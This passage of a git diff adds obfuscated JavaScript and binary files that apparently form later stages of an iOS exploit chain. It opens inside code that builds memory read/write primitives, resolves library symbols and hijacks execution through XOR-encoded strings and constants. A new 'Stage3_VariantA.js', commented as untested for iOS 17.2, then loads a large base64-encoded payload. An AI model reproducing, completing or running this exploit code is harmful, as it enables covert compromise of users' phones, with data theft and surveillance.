2, 19, 11, 10, 0, 16].map(x => {return String.fromCharCode(x ^ 99);}).join("")),([103, 27, 49, 59, 60, 45, 37, 103, 4, 33, 42, 58, 41, 58, 49, 103, 14, 58, 41, 37, 45, 63, 39, 58, 35, 59, 103, 11, 39, 58, 45, 15, 58, 41, 56, 32, 33, 43, 59, 102, 46, 58, 41, 37, 45, 63, 39, 58, 35, 103, 30, 45, 58, 59, 33, 39, 38, 59, 103, 9, 103, 11, 39, 58, 45, 15, 58, 41, 56, 32, 33, 43, 59].map(x => {return String.fromCharCode(x ^ 72);}).join(""))],[(4294967296 + (1597263939 ^ -348893054)),(4294967296 + (1683645282 ^ -1659210944)),(4294967296 + (2003326570 ^ -1016572184)),(4294967296 + (1396003187 ^ -1435151021)),(4294967296 + (1450404696 ^ -1355582599)),(4294967296 + (929527155 ^ -512197332))],([51, 51, 45, 57, 56, 36, 51, 47, 35, 34, 63, 56].map(x => {return String.fromCharCode(x ^ 108);}).join("")))}let K=null;try{K=this.Pc.mc([([76, 48, 26, 16, 23, 6, 14, 76, 47, 10, 1, 17, 2, 17, 26, 76, 37, 17, 2, 14, 6, 20, 12, 17, 8, 16, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16, 77, 5, 17, 2, 14, 6, 20, 12, 17, 8, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16].map(x => {return String.fromCharCode(x ^ 99);}).join("")),([75, 55, 29, 23, 16, 1, 9, 75, 40, 13, 6, 22, 5, 22, 29, 75, 34, 22, 5, 9, 1, 19, 11, 22, 15, 23, 75, 39, 11, 22, 1, 35, 22, 5, 20, 12, 13, 7, 23, 74, 2, 22, 5, 9, 1, 19, 11, 22, 15, 75, 50, 1, 22, 23, 13, 11, 10, 23, 75, 37, 75, 39, 11, 22, 1, 35, 22, 5, 20, 12, 13, 7, 23].map(x => {return String.fromCharCode(x ^ 100);}).join(""))],[(4294967296 + (892486707 ^ -864919501)),(1951217731 ^ 1672637645),(4294967296 + (1902064986 ^ -983616070)),(4294967296 + (1999853377 ^ -1905041598)),(4294967296 + (1902993224 ^ -982687765)),(4294967296 + (1649954642 ^ -1692906662)),(4294967296 + (1970222434 ^ -1943065248)),(4294967296 + (1500802861 ^ -209949491)),(4294967296 + (1196188529 ^ -1856804082))],([44, 44, 50, 38, 39, 59, 44, 48, 60, 61, 32, 39].map(x => {return String.fromCharCode(x ^ 115);}).join("")))}catch(c){K=this.Pc.mc([([95, 35, 9, 3, 4, 21, 29, 95, 60, 25, 18, 2, 17, 2, 9, 95, 54, 2, 17, 29, 21, 7, 31, 2, 27, 3, 95, 51, 31, 2, 21, 55, 2, 17, 0, 24, 25, 19, 3, 94, 22, 2, 17, 29, 21, 7, 31, 2, 27, 95, 51, 31, 2, 21, 55, 2, 17, 0, 24, 25, 19, 3].map(x => {return String.fromCharCode(x ^ 112);}).join("")),([64, 60, 22, 28, 27, 10, 2, 64, 35, 6, 13, 29, 14, 29, 22, 64, 41, 29, 14, 2, 10, 24, 0, 29, 4, 28, 64, 44, 0, 29, 10, 40, 29, 14, 31, 7, 6, 12, 28, 65, 9, 29, 14, 2, 10, 24, 0, 29, 4, 64, 57, 10, 29, 28, 6, 0, 1, 28, 64, 46, 64, 44, 0, 29, 10, 40, 29, 14, 31, 7, 6, 12, 28].map(x => {return String.fromCharCode(x ^ 111);}).join(""))],[(4294967296 + (1999981932 ^ -1904907932)),(4294967296 + (1817863234 ^ -665164662)),(4294967296 + (963917106 ^ -1070318543)),(4294967296 + (1098152289 ^ -176915998)),(4294967296 + (1484026932 ^ -1590398668)),(4294967296 + (1816881203 ^ -1794412239)),(4294967296 + (1766870138 ^ -1085324283))],([105, 105, 119, 99, 98, 126, 105, 117, 121, 120, 101, 98].map(x => {return String.fromCharCode(x ^ 54);}).join("")))}const m=this.Pc.mc([([92, 32, 10, 0, 7, 22, 30, 92, 63, 26, 17, 1, 18, 1, 10, 92, 35, 1, 26, 5, 18, 7, 22, 53, 1, 18, 30, 22, 4, 28, 1, 24, 0, 92, 33, 54, 32, 10, 29, 16, 93, 21, 1, 18, 30, 22, 4, 28, 1, 24, 92, 33, 54, 32, 10, 29, 16].map(x => {return String.fromCharCode(x ^ 115);}).join("")),([72, 52, 30, 20, 19, 2, 10, 72, 43, 14, 5, 21, 6, 21, 30, 72, 55, 21, 14, 17, 6, 19, 2, 33, 21, 6, 10, 2, 16, 8, 21, 12, 20, 72, 53, 34, 52, 30, 9, 4, 73, 1, 21, 6, 10, 2, 16, 8, 21, 12, 72, 49, 2, 21, 20, 14, 8, 9, 20, 72, 38, 72, 53, 34, 52, 30, 9, 4].map(x => {return String.fromCharCode(x ^ 103);}).join(""))],[(4294967296 + (1514827319 ^ -1891021496)),(4294967296 + (1902336346 ^ -656599378)),(4294967296 + (1464347991 ^ -28748118)),(4294967296 + (2052207431 ^ -346918726)),(4294967296 + (1903445837 ^ -613137218)),(4294967296 + (2053523268 ^ -899479732)),(4294967296 + (1867666740 ^ -1776828356)),(4294967296 + (1380142160 ^ -129871952)),(4294967296 + (1750231929 ^ -1100127642)),(4294967296 + (1362441567 ^ -80398677)),(4294967296 + (1698125129 ^ -801679927)),(4294967296 + (1819965559 ^ -595642241)),(4294967296 + (2050572661 ^ -2088969091)),(4294967296 + (1833465425 ^ -1149796530)),(4294967296 + (1917477170 ^ -1958057146)),(4294967296 + (1181837625 ^ -282062140)),(4294967296 + (1466722098 ^ -5363514)),(4294967296 + (1783983190 ^ -1140169815))],([105, 105, 119, 99, 98, 126].map(x => {return String.fromCharCode(x ^ 54);}).join(""))),L=m.gc[0],p=m.gc[1],X=this.Pc.mc([([91, 39, 13, 7, 0, 17, 25, 91, 56, 29, 22, 6, 21, 6, 13, 91, 50, 6, 21, 25, 17, 3, 27, 6, 31, 7, 91, 61, 59, 63, 29, 0, 90, 18, 6, 21, 25, 17, 3, 27, 6, 31, 91, 34, 17, 6, 7, 29, 27, 26, 7, 91, 53, 91, 61, 59, 63, 29, 0].map(x => {return String.fromCharCode(x ^ 116);}).join(""))],[(4294967296 + (963863671 ^ -1875809153)),(4294967296 + (1297053773 ^ -1274060724)),(4294967296 + (2019117641 ^ -766424663)),(4294967296 + (1918462306 ^ -1538891459))],([50, 50, 44, 56, 57, 37, 50, 46, 34, 35, 62, 57].map(x => {return String.fromCharCode(x ^ 109);}).join(""))),T=this.Pc.mc([([108, 54, 48, 49, 108, 47, 42, 33, 108, 47, 42, 33, 42, 32, 54, 32, 44, 49, 38, 109, 2, 109, 39, 58, 47, 42, 33].map(x => {return String.fromCharCode(x ^ 67);}).join(""))],[(4294967296 + (1601790285 ^ -1506186898)),(4294967296 + (1432447600 ^ -1407096240)),(1414755940 ^ 114521701),(1684893258 ^ 921530792),(4294967296 + (1179482709 ^ -1873645014))],([37, 37, 59, 47, 46, 50, 37, 57, 53, 52, 41, 46].map(x => {return String.fromCharCode(x ^ 122);}).join("")));let M=null;if(P.cr().qh(([15, 15, 17, 5, 4, 24, 15, 19, 31, 30, 3, 4].map(x => {return String.fromCharCode(x ^ 80);}).join("")),((c,o)=>{if(32===o){const o=c-(1969706307 ^ 1969706423);if(o%8!=0||s.br(o+4)>=(1146703735 ^ 1146703863)||s.br(o+12)>=(1869183589 ^ 1869183717))return!1;const i=s.nr(o),t=s.nr(o+8);return 0!==i&&0!==t&&(([53, 23, 26, 26, 20, 23, 21, 29, 57, 20, 28, 19, 21, 2].map(x => {return String.fromCharCode(x ^ 118);}).join(""))===s.Er(i)&&(M=o,!0))}return!1})),null===M)throw new Error("");const G=function(c){let o;if(o=c._h(([114, 114, 105, 108, 121, 108, 114, 105, 100, 127, 121, 116].map(x => {return String.fromCharCode(x ^ 45);}).join("")),([105, 105, 82, 79, 90, 82, 2].map(x => {return String.fromCharCode(x ^ 54);}).join(""))),null===o)throw new Error("");return P.zn.Xn.nr(o.qe)}(l),k=function(c){const o=P.zn.Xn.Dr(c),i=P.zn.Xn.Dr(o);let t=i-i%(1783000182 ^ 1783004278);for(;(4294967296 + (1179862133 ^ -1195458886))!==P.zn.Xn.br(t);)t-=(930176823 ^ 930172727);return cc.Xo(x.Vt.ut(t))}(G),D=function(c){let o=null;if(c.ar().qh(([51, 51, 56, 41, 52, 56].map(x => {return String.fromCharCode(x ^ 108);}).join("")),((c,i)=>(4294967296 + (1097486424 ^ -1683271336))===i&&(4294967296 + (1967599691 ^ -1558695029))===s.br(c+4)&&(o=c,!0))),null===o)throw new Error("");return o}(k),w=D+8;if((4294967296 + (1199206217 ^ -1648662967))!==s.br(w)||(4294967296 + (1496869498 ^ -1889048134))!==s.br(w+4))throw new Error("");const Z=D+16;if((4294967296 + (812934962 ^ -357211598))!==s.br(Z)||(4294967296 + (1852730675 ^ -1204719885))!==s.br(Z+4))throw new Error("");const S=D+24;if((4294967296 + (1348958007 ^ -1968801225))!==s.br(S)||(4294967296 + (1651781976 ^ -1272237416))!==s.br(S+4))throw new Error("");this.Za=null,!0===globalThis.obChTK.hPL3On(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => {return String.fromCharCode(x ^ 51);}).join(""))).zn.Nn.Lg4V8D&&(this.Za=P.cr().fh(([43, 19, 47, 35, 34, 42, 37, 43].map(x => {return String.fromCharCode(x ^ 76);}).join(""))));const A={Na:0,Fr:1,Lr:2,Rr:3,qr:4,za:5,Ha:6,Qa:7,Va:8,Wa:9},N={Ra:0},z=s.tr(A),f=(c=>{if(!0===globalThis.obChTK.hPL3On(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => {return String.fromCharCode(x ^ 79);}).join(""))).zn.Nn.QwxZcT){const o=BigInt(s.br(c))&BigInt((4294967296 + (1131641441 ^ -1131641441)));return x.K(o*BigInt(16))}if(!0===globalThis.obChTK.hPL3On(([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map(x => {return String.fromCharCode(x ^ 101);}).join(""))).zn.Nn.juV600){if(null===this.Za)throw new Error("");const o=s.br(c)>>5&(1819179637 ^ 1871807882),i=0==(8&c)?s.nr(c-c%(1179927669 ^ 1179911285)+(1815373430 ^ 1815369902)):s.nr(c-16),t=s.nr(i+globalThis.obChTK.hPL3On(([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map(x => {return String.fromCharCode(x ^ 80);}).join(""))).zn.Nn.MhLcu0);return s.Dr(t+8*o)}if(!0===globalThis.obChTK.hPL3On(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => {return String.fromCharCode(x ^ 79);}).join(""))).zn.Nn.ptTH_q){if(null===this.Za)throw new Error("");const o=s.br(c)&globalThis.obChTK.hPL3On(([87, 82, 80, 80, 95, 5, 7, 85, 4, 87, 83, 87, 95, 4, 7, 84, 7, 94, 0, 82, 86, 4, 3, 84, 94, 81, 0, 80, 82, 80, 2, 82, 2, 81, 83, 95, 85, 3, 4, 86].map(x => {return String.fromCharCode(x ^ 102);}).join(""))).zn.Nn.RNiPoX;return P.zn.Xn.nr(this.Za+globalThis.obChTK.hPL3On(([122, 127, 125, 125, 114, 40, 42, 120, 41, 122, 126, 122, 114, 41, 42, 121, 42, 115, 45, 127, 123, 41, 46, 121, 115, 124, 45, 125, 127, 125, 47, 127, 47, 124, 126, 114, 120, 46, 41, 123].map(x => {return String.fromCharCode(x ^ 75);}).join(""))).zn.Nn.kEXt5Z)+o}{const o=s.br(c)>>globalThis.obChTK.hPL3On(([66, 71, 69, 69, 74, 16, 18, 64, 17, 66, 70, 66, 74, 17, 18, 65, 18, 75, 21, 71, 67, 17, 22, 65, 75, 68, 21, 69, 71, 69, 23, 71, 23, 68, 70, 74, 64, 22, 17, 67].map(x => {return String.fromCharCode(x ^ 115);}).join(""))).zn.Nn.rD3mNF&(1698986103 ^ 1706788744),i=0==(8&c)?s.nr(c-c%(1600275529 ^ 1600259145)+(859391814 ^ 859404702)):s.nr(c-16),t=s.nr(i+globalThis.obChTK.hPL3On(([114, 119, 117, 117, 122, 32, 34, 112, 33, 114, 118, 114, 122, 33, 34, 113, 34, 123, 37, 119, 115, 33, 38, 113, 123, 116, 37, 117, 119, 117, 39, 119, 39, 116, 118, 122, 112, 38, 33, 115].map(x => {return String.fromCharCode(x ^ 67);}).join(""))).zn.Nn.MhLcu0);return s.Dr(t+8*o)}})(z),H=n((1215586123 ^ 1215585867));for(let c=24;c<(1146114679 ^ 1146114567);c+=8)s.Jr(H+c,y);s.Jr(H+96,h.yc);const Q=n(24);s.ti(Q+8,H);const V=n(24),W=n(56),R=n(56);s.Jr(R+40,m.yc),s.ti(R+32,V),s.ti(R+48,W);const O=x.Vt.ut(Q),Y=x.Vt.ut(R);!0===globalThis.obChTK.hPL3On(([96, 101, 103, 103, 104, 50, 48, 98, 51, 96, 100, 96, 104, 51, 48, 99, 48, 105, 55, 101, 97, 51, 52, 99, 105, 102, 55, 103, 101, 103, 53, 101, 53, 102, 100, 104, 98, 52, 51, 97].map(x => {return String.fromCharCode(x ^ 81);}).join(""))).zn.Nn.QwxZcT&&(M=x.K(x.O(M)/BigInt(16)));const U=function(i,t,a){s.Jr(W+40,i),s.Jr(W+32,t),s.Jr(W+48,a);const l=s.br(f+o);let b=0;try{s.dr(f+o,1|l),s.Br((()=>{new Function("a","b",([31, 8, 27, 73, 10, 29].map(x => {return String.fromCharCode(x ^ 105)}).join("")) + (b) + ([97, 124, 97, 32, 97, 40, 47, 50, 53, 32, 47, 34, 36, 46, 39, 97, 35, 97, 126, 97].map(x => {return String.fromCharCode(x ^ 65)}).join("")) + (b+1) + ([103, 125, 103, 118, 117, 124, 103, 53, 34, 51, 50, 53, 41, 103, 36, 51].map(x => {return String.fromCharCode(x ^ 71)}).join("")) + (b) + ([87].map(x => {return String.fromCharCode(x ^ 108)}).join("")))(N,A)}),{Ir:f+c,Zt:x.Vt.ut(M)},{Ir:z+16,Zt:O},{Ir:z+32,Zt:X.yc},{Ir:z+8,Zt:Y},{Ir:L,Zt:X.yc},{Ir:p,Zt:y})}finally{s.dr(f+o,l),b+=1}return s.rr(V+16)},E=n(80),J=n(56),v=x.Vt.ut(E);s.ti(E+72,J);const F=function(c,o,i,t){return s.Jr(J+8,o),s.Jr(J+16,c),s.Jr(J+48,t),U(K.yc,v,i)},j=U(g,new x.Vt((4294967296 + (2051826740 ^ -2051826742)),(4294967296 + (808676710 ^ -808676711))),x.Vt.ut(function(c){const o=new Uint8Array(c.length+1);for(let i=0;i {return String.fromCharCode(x ^ 120);}).join(""))))),B=G+i,_=B-B%(2037926227 ^ 2037909843);if(0!==F(j,x.Vt.ut(_),x.Vt.ut((826882385 ^ 826898769)),x.Vt.ut(3)).Pt())throw new Error("");const q=(()=>{const c=this.Mc(),o=P.zn.Xn.Mr(c),l=x.Vt.ut(o),b=new Uint8Array(c.buffer),I=(1281582898 ^ 1281582594),d=(1516195682 ^ 1516195613);c[34]=0,c[35]=0,c[36]=0,c[37]=1;let y=(1852858166 ^ 1852857861);for(let c=0;c<"a".length;c++)b[y++]="a".charCodeAt(c);b[y++]=0,b[y++]=d,b[(2037395567 ^ 2037395904)]=3,b[(2053198385 ^ 2053198721)]=0;const r=n((1902790487 ^ 1902789975));s.dr(r,(1715747169 ^ 355732741)),s.dr(r+8,(1967745111 ^ 1967745623));const C=r+16;s.dr(C,(860832594 ^ 1601911350)),s.ti(C+8,o),s.dr(C+t,I),s.dr(C+a,(1752463958 ^ 1752461910));const e=x.Vt.ut(r),u=x.Vt.ut(o+I+3);let h=x.Vt.ut(2*C);if(!0===globalThis.obChTK.hPL3On(([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map(x => {return String.fromCharCode(x ^ 76);}).join(""))).zn.Nn.QwxZcT){const c=x.Vt.ut(k.ar().wh);h=x.Vt.ut(C).vt(c)}return function(c){const o=x.Vt.ut(c).sub(l);x.Xt(b,(1383036724 ^ 1383036549),o);let t=null;if(s.Br((()=>{t=U(g,h,u)}),{Ir:G+i,Zt:e}),t.Dt().yt()!==c)throw new Error("");return t}})();this.La=q(D),this.Ga=q(w),this.Xa=q(Z),this.Ma=q(S);const $=n(24);this.tc=U,this.ic=F,this.Ka=function(c,o,i){return s.Jr($+16,c),s.Jr($+0,o),U(T.yc,i,x.Vt.ut($))}}}return r.ga=function(){return new oc},r; \ No newline at end of file diff --git a/other/Stage3ValidatorOrSomething.dylib b/other/Stage3ValidatorOrSomething.dylib new file mode 100644 index 0000000..8b8d20b Binary files /dev/null and b/other/Stage3ValidatorOrSomething.dylib differ diff --git a/other/Stage3_VariantA.js b/other/Stage3_VariantA.js new file mode 100644 index 0000000..ece7897 --- /dev/null +++ b/other/Stage3_VariantA.js @@ -0,0 +1,426 @@ +// Variant A for iOS 17.2 is untested, might not work + +let r = {}; +globalThis.moduleManager.fgPoij(([0, 6, 85, 80, 86, 86, 80, 0, 10, 80, 86, 82, 87, 85, 11, 81, 10, 0, 81, 82, 0, 82, 1, 10, 85, 86, 7, 5, 7, 0, 80, 81, 1, 6, 10, 10, 7, 6, 6, 11].map(x => { + return String.fromCharCode(x ^ 51); +}).join("")), "bGV0IHI9e307Z2xvYmFsVGhpcy5vYkNoVEsuZmdQb2lqKChbNDgsIDUxLCAxMDEsIDk5LCA5NiwgNTUsIDUyLCAxMDAsIDQ5LCA5OSwgNDgsIDUyLCA5NiwgOTgsIDEwMSwgMTAzLCAxMDYsIDU1LCAxMDAsIDEwNywgNTEsIDQ4LCAxMDcsIDEwMiwgMTAzLCA1NCwgOTYsIDQ5LCA1NCwgNTIsIDU0LCAxMDMsIDk5LCA1NSwgMTAzLCA5NywgNTQsIDQ5LCA1NCwgMTA2XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDgyKTt9KS5qb2luKCIiKSksImJHVjBJSEk5ZTMwN1kyOXVjM1FnZUQxbmJHOWlZV3hVYUdsekxtOWlRMmhVU3k1b1VFd3pUMjRvS0ZzeE1qVXNJREV5Tnl3Z01USTJMQ0F4TWpJc0lERXlNQ3dnTVRJeUxDQXhNakFzSURFeU5pd2dORFFzSURFeU5pd2dNVEl5TENBeE1qQXNJREV5Tnl3Z01URXpMQ0EwTWl3Z05ERXNJRFF4TENBME5Dd2dNVEl3TENBME5Td2dNVEkxTENBeE1qY3NJRFExTENBeE1qWXNJRFEwTENBeE1UTXNJRFExTENBME15d2dNVEV6TENBeE1qTXNJREV5TVN3Z01USXlMQ0F4TWpBc0lEUXpMQ0F4TWpBc0lEUTJMQ0F4TWpVc0lERXlNaXdnTVRJMExDQXhNamRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdOeklwTzMwcExtcHZhVzRvSWlJcEtTa3NlMDQ2UjMwOVoyeHZZbUZzVkdocGN5NXZZa05vVkVzdWFGQk1NMDl1S0NoYk5qVXNJRFkzTENBMk5pd2dOekFzSURZNExDQTNNQ3dnTmpnc0lEWTJMQ0F4Tml3Z05qWXNJRGN3TENBMk9Dd2dOamNzSURjM0xDQXlNaXdnTWpFc0lESXhMQ0F4Tml3Z05qZ3NJREUzTENBMk5Td2dOamNzSURFM0xDQTJOaXdnTVRZc0lEYzNMQ0F4Tnl3Z01qTXNJRGMzTENBM01Td2dOamtzSURjd0xDQTJPQ3dnTWpNc0lEWTRMQ0F4T0N3Z05qVXNJRGN3TENBMk5Dd2dOamRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdNVEUyS1R0OUtTNXFiMmx1S0NJaUtTa3BMRkE5WjJ4dlltRnNWR2hwY3k1dllrTm9WRXN1YUZCTU0wOXVLQ2hiTkN3Z01Td2dNeXdnTXl3Z01USXNJRGcyTENBNE5Dd2dOaXdnT0Rjc0lEUXNJREFzSURRc0lERXlMQ0E0Tnl3Z09EUXNJRGNzSURnMExDQXhNeXdnT0RNc0lERXNJRFVzSURnM0xDQTRNQ3dnTnl3Z01UTXNJRElzSURnekxDQXpMQ0F4TENBekxDQTRNU3dnTVN3Z09ERXNJRElzSURBc0lERXlMQ0EyTENBNE1Dd2dPRGNzSURWZExtMWhjQ2g0SUQwK0lIdHlaWFIxY200Z1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTaDRJRjRnTlRNcE8zMHBMbXB2YVc0b0lpSXBLU2tzZTNwdU9rWjlQV2RzYjJKaGJGUm9hWE11YjJKRGFGUkxMbWhRVEROUGJpZ29XekV3Tnl3Z01URXdMQ0F4TURnc0lERXdPQ3dnT1Rrc0lEVTNMQ0ExT1N3Z01UQTFMQ0ExTml3Z01UQTNMQ0F4TVRFc0lERXdOeXdnT1Rrc0lEVTJMQ0ExT1N3Z01UQTBMQ0ExT1N3Z09UZ3NJRFl3TENBeE1UQXNJREV3Tml3Z05UWXNJRFl6TENBeE1EUXNJRGs0TENBeE1Ea3NJRFl3TENBeE1EZ3NJREV4TUN3Z01UQTRMQ0EyTWl3Z01URXdMQ0EyTWl3Z01UQTVMQ0F4TVRFc0lEazVMQ0F4TURVc0lEWXpMQ0ExTml3Z01UQTJYUzV0WVhBb2VDQTlQaUI3Y21WMGRYSnVJRk4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvZUNCZUlEa3dLVHQ5S1M1cWIybHVLQ0lpS1NrcExGbzlSaTVNYmp0bWRXNWpkR2x2YmlCWktIUXNjajBoTVNsN1kyOXVjM1FnWlQxUUxucHVMbGh1TEc0OVpTNXBjaWgwTGtnb01UWXBLVHRzWlhRZ2N6MTBMa2dvTXpJcExHazlibVYzSUhndVZuUW9NQ3d3S1N4dlBTRXdMR2c5SVRFc1l6MXVkV3hzTEd3OWJuVnNiQ3htUFc1MWJHd3NZVDB3TEhVOWJuVnNiQ3hrUFc1MWJHd3NkejF1ZFd4c0xHYzliblZzYkN4dFBTRXhPMk52Ym5OMElFVTlXMTA3Wm05eUtHeGxkQ0JtUFRBN1pqeHVPMllyS3lsN1kyOXVjM1FnYmoxbExtbHlLSE1wTEdZOVpTNXBjaWh6TGtnb05Da3BPM04zYVhSamFDaHVLWHRqWVhObElERTFPbTA5SVRBN1luSmxZV3M3WTJGelpTQTFNRHB5SmlZeFBUMDlaUzVwY2loekxrZ29PQ2twSmlZb2R6MGhNQ3huUFdVdWFYSW9jeTVJS0RFeUtTa3BPMkp5WldGck8yTmhjMlVnTWpVNmUyTnZibk4wSUc0OWUxaGxPbVV1VkhJb2N5NUlLRGdwTERFMktTeHhaVHBsTGxWeUtITXVTQ2d5TkNrcExFVnZPbVV1VlhJb2N5NUlLREkwS1Nrc1QyODZaUzVWY2loekxrZ29NeklwS1N4UlpUcGxMbFZ5S0hNdVNDZzBNQ2twTEhwdk9tVXVWWElvY3k1SUtEUTRLU2tzSkc4NlpTNXBjaWh6TGtnb05UWXBLU3h4YnpwbExtbHlLSE11U0NnMk1Da3BMRTF2T21VdWFYSW9jeTVJS0RZMEtTa3NabXhoWjNNNlpTNXBjaWh6TGtnb05qZ3BLU3hFYnpwekxrZ29OeklwTEV4dk9udDlMR1IxYlhBb0tYdDlmVHRwWmloeUtXWnZjaWhzWlhRZ2REMHdPM1E4Ymk1TmJ6dDBLejB4S1h0amIyNXpkQ0J5UFc0dVJHOHVTQ2c0TUNwMEtTeHpQWHRZWlRwbExsUnlLSEl1U0NneE5pa3NNVFlwTEZadk9tVXVWSElvY2k1SUtEQXBMREUyS1N4eFpUcGxMbFZ5S0hJdVNDZ3pNaWtwTEU5dk9tVXVWWElvY2k1SUtEUXdLU2tzVVdVNlpTNXBjaWh5TGtnb05EZ3BLU3hrZFcxd0tDbDdmWDA3Ymk1TWIxdHpMbFp2WFQxemZYTjNhWFJqYUNoRkxuQjFjMmdvYmlrc2JpNVlaU2w3WTJGelpTaGJNVEV4TENBeE1URXNJREV3TUN3Z01URTNMQ0F4TURRc0lERXdNRjB1YldGd0tIZ2dQVDRnZTNKbGRIVnliaUJUZEhKcGJtY3Vabkp2YlVOb1lYSkRiMlJsS0hnZ1hpQTBPQ2s3ZlNrdWFtOXBiaWdpSWlrcE9tNHVVV1V1UlhRb0tUOXZQU0V4T213OWRDNXpkV0lvYmk1UlpTa3NhVDEwTG5OMVlpaHVMbkZsS1R0aWNtVmhhenRqWVhObEtGc3hNRFVzSURFd05Td2dNVEl5TENBeE1qY3NJREV5TUN3Z01USTFMQ0F4TVRVc0lERXhOQ3dnTVRJM0xDQTVPRjB1YldGd0tIZ2dQVDRnZTNKbGRIVnliaUJUZEhKcGJtY3Vabkp2YlVOb1lYSkRiMlJsS0hnZ1hpQTFOQ2s3ZlNrdWFtOXBiaWdpSWlrcE9uVTliaTV4WlM1aFpHUW9hU2t1YzNWaUtHNHVVV1VwTzJKeVpXRnJPMk5oYzJVb1d6UTBMQ0EwTkN3Z05UQXNJRE00TENBek9Td2dOVGtzSURRMExDQTBPQ3dnTmpBc0lEWXhMQ0F6TWl3Z016bGRMbTFoY0NoNElEMCtJSHR5WlhSMWNtNGdVM1J5YVc1bkxtWnliMjFEYUdGeVEyOWtaU2g0SUY0Z01URTFLVHQ5S1M1cWIybHVLQ0lpS1NrNmFXWW9jaWw3WTI5dWMzUWdkRDF1TGt4dkxsOWZZWFYwYUY5bmIzUTdkbTlwWkNBd0lUMDlkQ1ltS0dROWRDNXhaUzVoWkdRb2FTa3BmWDFpY21WaGEzMWpZWE5sSUNnME1qazBPVFkzTWprMklDc2dLRGt5T1RreE5qYzRNeUJlSUMweE1qRTNOVFkyT0RrNUtTazZhRDBoTUN4alBXVXVhWElvY3k1SUtEUXdLU2tzWVQxbExtbHlLSE11U0NnME5Da3BPMkp5WldGck8yTmhjMlVnS0RReU9UUTVOamN5T1RZZ0t5QW9NVGcyTnpZMU9ETXlPU0JlSUMweU56azRNalV6TURJcEtUcG9QU0V3TEdNOVpTNXBjaWh6TGtnb09Da3BMR0U5WlM1cGNpaHpMa2dvTVRJcEtYMXpQWE11U0NobUtYMXNaWFFnWHoxcE8ybG1LSEltSmlGdkppWWhiU2w3WTI5dWMzUWdjajFsTG1seUtIUXVTQ2cwS1NrN2FXWW9keVltS0RFNU16STJPRE0yTURnZ1hpQXhPVEUxT1RBMk16ZzRLVDA5UFhJbUptYytQU2d4TkRZMk9EUTVOalV3SUY0Z01UUTJOakkxT1RneU5pa3BlMmxtS0c1MWJHdzlQVDFrS1hSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlrN2JHVjBJSFE5WlM1VmNpaGtLUzVFZENncE8ybG1LSFF1UlhRb0tTbDBhSEp2ZHlCdVpYY2dSWEp5YjNJb0lpSXBPMlp2Y2loMFBYUXVRblFvZEM1cGRDVW9NVFk1T1RFMk9UWTBOaUJlSURFMk9Ua3hOek0zTkRJcEtUc29OREk1TkRrMk56STVOaUFySUNneE16RTBOREEwTkRBMElGNGdMVEV6TXpBeU5qVXpORGtwS1NFOVBXVXVhWElvZENrN0tYUTlkQzVDZENnb01UY3hORGszTWpRNU1TQmVJREUzTVRRNU56WTFPRGNwS1R0amIyNXpkQ0J5UFhSb2FYTXVXRzhvZENrN2JEMXlMa2h2TGxwdkxGODljaTVJYnk1TGIzMTlabTl5S0d4bGRDQjBQVEE3ZER4RkxteGxibWQwYUR0MEt5c3BlMk52Ym5OMElISTlSVnQwWFN4bFBYSXVjV1U3Y2k1eFpUMWxMbUZrWkNocEtYMXlaWFIxY200Z2FDWW1ZeVltS0dZOWRTNUlLR01wS1N4dVpYY2dkSFFvZTBkdk9uUXNTbTg2Yml4UmJ6cHBMRmx2T25Vc1dtODZiQ3hMYnpwZkxIUm9PbVlzY21nNllYMHNSU2w5Y2k1MWNqMW1kVzVqZEdsdmJpZ3BlM0psZEhWeWJpQlpLRkF1ZW00dWVXNHNJVEFwZlN4eUxsaHZQVms3WTJ4aGMzTWdkSFI3WTI5dWMzUnlkV04wYjNJb2RDeHlLWHQwYUdsekxraHZQWFFzZEdocGN5NWxhRDF5TEhSb2FYTXVibWc5Ym1WM0lGVnBiblE0UVhKeVlYa29XMTBwTEhSb2FYTXVjMmc5SVRGOWMzSW9LWHR5WlhSMWNtNGdibVYzSUhKMEtIUm9hWE1wZldGeUtDbDdjbVYwZFhKdUlHNWxkeUJsZENoMGFHbHpLWDFwYUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11YjJnb0tGc3hNRGRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdOVElwZlNrdWFtOXBiaWdpSWlrcElDc2dLSFFwS1R0eVpYUjFjbTRnY2o5MGFHbHpMa2h2TGtkdkxr